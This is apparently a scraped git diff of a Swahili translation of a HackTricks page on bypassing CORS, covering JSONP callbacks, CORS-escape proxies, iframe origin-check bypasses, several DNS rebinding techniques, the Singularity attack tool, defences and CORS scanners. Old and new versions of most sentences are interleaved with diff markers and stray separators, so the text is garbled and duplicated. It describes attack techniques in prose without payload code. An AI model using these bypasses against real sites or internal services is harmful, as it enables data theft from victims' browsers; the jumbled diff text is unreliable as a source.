Jaribu kuongeza **`callback`** **parameter** katika ombi. Labda ukurasa ulikuwa umewekwa kutuma data kama JSONP. Katika kesi hiyo, ukurasa utatuma data na `Content-Type: application/javascript` ambayo itapita sera ya CORS.
|
||||
Jaribu kuongeza **`callback`** **parameta** katika ombi. Labda ukurasa ulikuwa umewekwa tayari kutuma data kama JSONP. Katika kesi hiyo, ukurasa utatuma data kwa `Content-Type: application/javascript` ambayo itapita sera ya CORS.
|
||||
|
||||
![](<../.gitbook/assets/image (229).png>)
|
||||
|
||||
### Kupita Rahisi (isiyofaa?)
|
||||
|
||||
Njia moja ya kupita kizuizi cha `Access-Control-Allow-Origin` ni kwa kuomba programu-jalizi ya wavuti kutuma ombi kwa niaba yako na kutuma majibu. Walakini, katika hali hii, vitambulisho vya mwisho wa mwathiriwa hawatatumiwa kwani ombi linatolewa kwa uwanja tofauti.
|
||||
Njia moja ya kuvuka kizuizi cha `Access-Control-Allow-Origin` ni kwa kuomba programu-jalizi ya wavuti kutuma ombi kwa niaba yako na kutuma jibu. Hata hivyo, katika hali hii, siri za mwisho wa mwathiriwa hazitatumwa kwani ombi linatolewa kwa uwanja tofauti.
|
||||
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Zana hii hutoa proksi ambayo inapeleka ombi lako pamoja na vichwa vyake, wakati pia inadanganya kichwa cha Asili ili kulingana na uwanja ulioombwa. Hii inapita kwa ufanisi sera ya CORS. Hapa kuna matumizi ya mfano na XMLHttpRequest:
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Zana hii inatoa njia mbadala ya kupeleka ombi. Badala ya kupeleka ombi lako kama ilivyo, seva inafanya ombi lake lenyewe na vigezo vilivyowekwa.
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Zana hii inatoa njia mbadala ya kusambaza maombi. Badala ya kuendeleza ombi lako kama lilivyo, seva inafanya ombi lake lenyewe na vigezo vilivyowekwa.
|
||||
|
||||
### Iframe + Kupita Kizuizi cha Popup
|
||||
### Iframe + Kupita Kichupo
|
||||
|
||||
Unaweza **kupita ukaguzi wa CORS** kama `e.origin === window.origin` kwa **kuunda iframe** na **kufungua dirisha jipya** kutoka kwake. Taarifa zaidi katika ukurasa ufuatao:
|
||||
Unaweza **kuvuka ukaguzi wa CORS** kama `e.origin === window.origin` kwa **kuunda iframe** na **kutoka hapo kufungua dirisha jipya**. Taarifa zaidi katika ukurasa ufuatao:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -286,17 +286,17 @@ Unaweza **kupita ukaguzi wa CORS** kama `e.origin === window.origin` kwa **kuund
|
|||
|
||||
### DNS Rebinding kupitia TTL
|
||||
|
||||
DNS rebinding kupitia TTL ni mbinu inayotumika kupita hatua fulani za usalama kwa kubadilisha rekodi za DNS. Hivi ndivyo inavyofanya kazi:
|
||||
DNS rebinding kupitia TTL ni mbinu inayotumika kuvuka hatua fulani za usalama kwa kubadilisha rekodi za DNS. Hivi ndivyo inavyofanya kazi:
|
||||
|
||||
1. Mshambuliaji anaunda ukurasa wa wavuti na kufanya mwathiriwa aifikie.
|
||||
2. Mshambuliaji kisha hubadilisha DNS (IP) ya uwanja wao ili ielekeze kwenye ukurasa wa wavuti wa mwathiriwa.
|
||||
3. Kivinjari cha mwathiriwa kache jibu la DNS, ambalo linaweza kuwa na thamani ya TTL (Muda wa Kuishi) inayoonyesha muda gani rekodi ya DNS inapaswa kuchukuliwa kuwa halali.
|
||||
3. Kivinjari cha mwathiriwa hufanya akiba ya jibu la DNS, ambalo linaweza kuwa na thamani ya TTL (Muda wa Kuishi) inayoonyesha muda gani rekodi ya DNS inapaswa kuchukuliwa kuwa halali.
|
||||
4. Wakati TTL inapomalizika, kivinjari cha mwathiriwa hufanya ombi jipya la DNS, kuruhusu mshambuliaji kutekeleza msimbo wa JavaScript kwenye ukurasa wa mwathiriwa.
|
||||
5. Kwa kudumisha udhibiti juu ya IP ya mwathiriwa, mshambuliaji anaweza kukusanya habari kutoka kwa mwathiriwa bila kutuma vidakuzi kwa seva ya mwathiriwa.
|
||||
5. Kwa kudumisha udhibiti juu ya IP ya mwathiriwa, mshambuliaji anaweza kukusanya taarifa kutoka kwa mwathiriwa bila kutuma vidakuzi kwa seva ya mwathiriwa.
|
||||
|
||||
Ni muhimu kutambua kuwa vivinjari vina mifumo ya kuhifadhi cache ambayo inaweza kuzuia unyanyasaji wa haraka wa mbinu hii, hata na thamani za TTL za chini.
|
||||
Ni muhimu kutambua kwamba vivinjari vina mifumo ya akiba ambayo inaweza kuzuia unyanyasaji wa haraka wa mbinu hii, hata na thamani za TTL za chini.
|
||||
|
||||
DNS rebinding inaweza kuwa na manufaa kwa kupita ukaguzi wa IP uliofanywa na mwathiriwa au kwa hali ambapo mtumiaji au boti anabaki kwenye ukurasa huo kwa muda mrefu, kuruhusu cache kumalizika.
|
||||
DNS rebinding inaweza kuwa na manufaa kwa kuvuka ukaguzi wa IP uliofanywa na mwathiriwa au kwa hali ambapo mtumiaji au boti anabaki kwenye ukurasa huo kwa muda mrefu, kuruhusu akiba kumalizika.
|
||||
|
||||
Ikiwa unahitaji njia ya haraka ya kutumia DNS rebinding, unaweza kutumia huduma kama [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
|
||||
|
@ -304,38 +304,38 @@ Ili kuendesha seva yako mwenyewe ya DNS rebinding, unaweza kutumia zana kama **D
|
|||
|
||||
Unaweza pia kuchunguza seva inayofanya kazi hadharani kwa [http://rebind.it/singularity.html](http://rebind.it/singularity.html) kwa uelewa na majaribio zaidi.
|
||||
|
||||
### DNS Rebinding kupitia **Kufurika kwa Cache ya DNS**
|
||||
### DNS Rebinding kupitia **Kufurika kwa Akiba ya DNS**
|
||||
|
||||
DNS rebinding kupitia kufurika kwa cache ya DNS ni mbinu nyingine inayotumika kupita mifumo ya kuhifadhi cache ya vivinjari na kulazimisha ombi la pili la DNS. Hivi ndivyo inavyofanya kazi:
|
||||
DNS rebinding kupitia kufurika kwa akiba ya DNS ni mbinu nyingine inayotumika kuvuka mifumo ya akiba ya vivinjari na kulazimisha ombi la pili la DNS. Hivi ndivyo inavyofanya kazi:
|
||||
|
||||
1. Kwanza, wakati mwathiriwa anafanya ombi la DNS, jibu linajibiwa na anwani ya IP ya mshambuliaji.
|
||||
2. Ili kupita ulinzi wa kuhifadhi cache, mshambuliaji anatumia mfanyakazi wa huduma. Mfanyakazi wa huduma hufurika cache ya DNS, ambayo kimsingi inafuta jina la mwenyeji wa mshambuliaji lililohifadhiwa.
|
||||
2. Ili kuvuka ulinzi wa akiba, mshambuliaji anatumia mfanyakazi wa huduma. Mfanyakazi wa huduma hufurika akiba ya DNS, ambayo kimsingi inafuta jina la mwenyeji wa mshambuliaji lililohifadhiwa.
|
||||
3. Wakati kivinjari cha mwathiriwa kinapofanya ombi la pili la DNS, sasa jibu linajibiwa na anwani ya IP 127.0.0.1, ambayo kwa kawaida inahusu localhost.
|
||||
|
||||
Kwa kufurika kwa cache ya DNS na mfanyakazi wa huduma, mshambuliaji anaweza kudanganya mchakato wa ufumbuzi wa DNS na kulazimisha kivinjari cha mwathiriwa kufanya ombi la pili, wakati huu likitatuliwa kwa anwani ya IP inayotakiwa na mshambuliaji.
|
||||
Kwa kufurika kwa akiba ya DNS na mfanyakazi wa huduma, mshambuliaji anaweza kudhibiti mchakato wa ufumbuzi wa DNS na kulazimisha kivinjari cha mwathiriwa kufanya ombi la pili, wakati huu likitatuliwa kwa anwani ya IP inayotakiwa na mshambuliaji.
|
||||
|
||||
### DNS Rebinding kupitia **Cache**
|
||||
### DNS Rebinding kupitia **Akiba**
|
||||
|
||||
Njia nyingine ya kupita ulinzi wa kuhifadhi cache ni kwa kutumia anwani za IP nyingi kwa subdomain moja katika mtoa huduma wa DNS. Hivi ndivyo inavyofanya kazi:
|
||||
Njia nyingine ya kuvuka ulinzi wa akiba ni kwa kutumia anwani za IP nyingi kwa subdomain moja katika mtoa huduma wa DNS. Hivi ndivyo inavyofanya kazi:
|
||||
|
||||
1. Mshambuliaji anaweka rekodi mbili za A (au rekodi moja ya A na anwani mbili za IP) kwa subdomain moja katika mtoa huduma wa DNS.
|
||||
1. Mshambuliaji anaweka rekodi mbili za A (au rekodi moja ya A na IPs mbili) kwa subdomain moja katika mtoa huduma wa DNS.
|
||||
2. Wakati kivinjari kinachunguza rekodi hizi, kinapokea anwani zote mbili za IP.
|
||||
3. Ikiwa kivinjari kinaamua kutumia anwani ya IP ya mshambuliaji kwanza, mshambuliaji anaweza kutumikia mzigo wa data ambao unafanya maombi ya HTTP kwa uwanja huo huo.
|
||||
4. Walakini, mara tu mshambuliaji anapopata anwani ya IP ya mwathiriwa, wanakoma kujibu kivinjari cha mwathiriwa.
|
||||
3. Ikiwa kivinjari kinachagua kutumia anwani ya IP ya mshambuliaji kwanza, mshambuliaji anaweza kutumikia mzigo wa data ambao unafanya maombi ya HTTP kwa uwanja huo huo.
|
||||
4. Hata hivyo, mara tu mshambuliaji anapopata anwani ya IP ya mwathiriwa, hawajibu tena kwa kivinjari cha mwathiriwa.
|
||||
5. Kivinjari cha mwathiriwa, baada ya kugundua kuwa uwanja hauna majibu, huendelea kutumia anwani ya IP iliyotolewa ya pili.
|
||||
6. Kwa kufikia anwani ya pili ya IP, kivinjari kinapita Sera ya Asili Sawa (SOP), kuruhusu mshambuliaji kutumia hii na kukusanya na kusafirisha habari.
|
||||
6. Kwa kufikia anwani ya pili ya IP, kivinjari kinapita Sera ya Asili Sawa (SOP), kuruhusu mshambuliaji kutumia hii na kukusanya na kusafirisha taarifa.
|
||||
|
||||
Mbinu hii inatumia tabia ya vivinjari wakati anwani za IP nyingi zinapatikana kwa uwanja. Kwa kudhibiti majibu na kudanganya chaguo la anwani ya IP ya kivinjari, mshambuliaji anaweza kutumia SOP na kupata habari kutoka kwa mwathiriwa.
|
||||
Mbinu hii inatumia tabia za vivinjari wakati anwani za IP nyingi zinapatikana kwa uwanja. Kwa kudhibiti majibu na kudanganya chaguo la anwani ya IP la kivinjari, mshambuliaji anaweza kutumia SOP na kupata taarifa kutoka kwa mwathiriwa.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tafadhali kumbuka kwamba ili kufikia localhost unapaswa kujaribu kurekebisha **127.0.0.1** kwa Windows na **0.0.0.0** kwa linux.\
|
||||
Watoa huduma kama godaddy au cloudflare hawakuniruhusu kutumia anwani ya IP 0.0.0.0, lakini AWS route53 iliniruhusu kuunda rekodi moja ya A na IP 2 ikiwa mojawapo ni "0.0.0.0"
|
||||
Tafadhali kumbuka kwamba ili kufikia localhost unapaswa kujaribu kurejesha **127.0.0.1** kwenye Windows na **0.0.0.0** kwenye linux.\
|
||||
Watoa huduma kama godaddy au cloudflare hawakuniruhusu kutumia anwani ya IP 0.0.0.0, lakini AWS route53 iliniruhusu kuunda rekodi moja ya A na IPs 2 ambapo mojawapo ilikuwa "0.0.0.0"
|
||||
|
||||
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
|
||||
{% endhint %}
|
||||
|
||||
Kwa habari zaidi unaweza kuangalia [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||||
### Bypassinga Zingine za Kawaida
|
||||
Kwa habari zaidi unaweza kucheki [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||||
### Bypassing Nyinginezo za Kawaida
|
||||
|
||||
* Ikiwa **IP za ndani haziruhusiwi**, wanaweza **kusahau kupiga marufuku 0.0.0.0** (inafanya kazi kwenye Linux na Mac)
|
||||
* Ikiwa **IP za ndani haziruhusiwi**, jibu na **CNAME** kwa **localhost** (inafanya kazi kwenye Linux na Mac)
|
||||
|
@ -343,26 +343,27 @@ Kwa habari zaidi unaweza kuangalia [https://unit42.paloaltonetworks.com/dns-rebi
|
|||
|
||||
### Silaha ya DNS Rebidding
|
||||
|
||||
Unaweza kupata habari zaidi kuhusu mbinu za kudukua zilizopita na jinsi ya kutumia zana ifuatayo kwenye mazungumzo [Gerald Doussot - Hali ya Mashambulizi ya DNS Rebinding & Umoja wa Asili - Mkutano wa DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
Unaweza kupata maelezo zaidi kuhusu mbinu za kuvuka zilizotangulia na jinsi ya kutumia zana ifuatayo katika mazungumzo [Gerald Doussot - Hali ya Mashambulizi ya DNS Rebinding & Umoja wa Asili - Mkutano wa DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
|
||||
[**`Umoja wa Asili`**](https://github.com/nccgroup/singularity) ni zana ya kufanya mashambulizi ya [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Inajumuisha vipengele vinavyohitajika kubadilisha IP ya jina la DNS la seva ya shambulizi hadi anwani ya IP ya mashine ya lengo na kutumikia mzigo wa mashambulizi kudukua programu zinazoweza kudhuriwa kwenye mashine ya lengo.
|
||||
[**`Umoja wa Asili`**](https://github.com/nccgroup/singularity) ni zana ya kufanya mashambulizi ya [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Inajumuisha vipengele vinavyohitajika kurekebisha anwani ya IP ya jina la DNS la seva ya shambulizi kwa anwani ya IP ya mashine ya lengo na kutumikia mzigo wa mashambulizi kwa kudhoofisha programu dhaifu kwenye mashine ya lengo.
|
||||
|
||||
### Kinga Halisi dhidi ya DNS Rebinding
|
||||
|
||||
* Tumia TLS kwenye huduma za ndani
|
||||
* Tumia TLS katika huduma za ndani
|
||||
* Omba uthibitisho wa kupata data
|
||||
* Thibitisha kichwa cha Mwenyeji
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Pendekezo la kutuma ombi la awali daima wakati seva za umma zinapotaka kupata seva za ndani
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Pendekezo la kutuma ombi la awali daima wakati seva za umma zinataka kupata seva za ndani
|
||||
|
||||
## **Zana**
|
||||
|
||||
**Fanya uchunguzi wa makosa yanayowezekana katika sera za CORS**
|
||||
**Fanya majaribio ya kiotomatiki ya misconfigurations katika sera za CORS**
|
||||
|
||||
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
|
||||
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
||||
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
|
||||
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
|
||||
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
|
||||
* [https://github.com/omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne)
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
@ -378,14 +379,14 @@ Unaweza kupata habari zaidi kuhusu mbinu za kudukua zilizopita na jinsi ya kutum
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha** [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Jiunge na** 💬 **kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue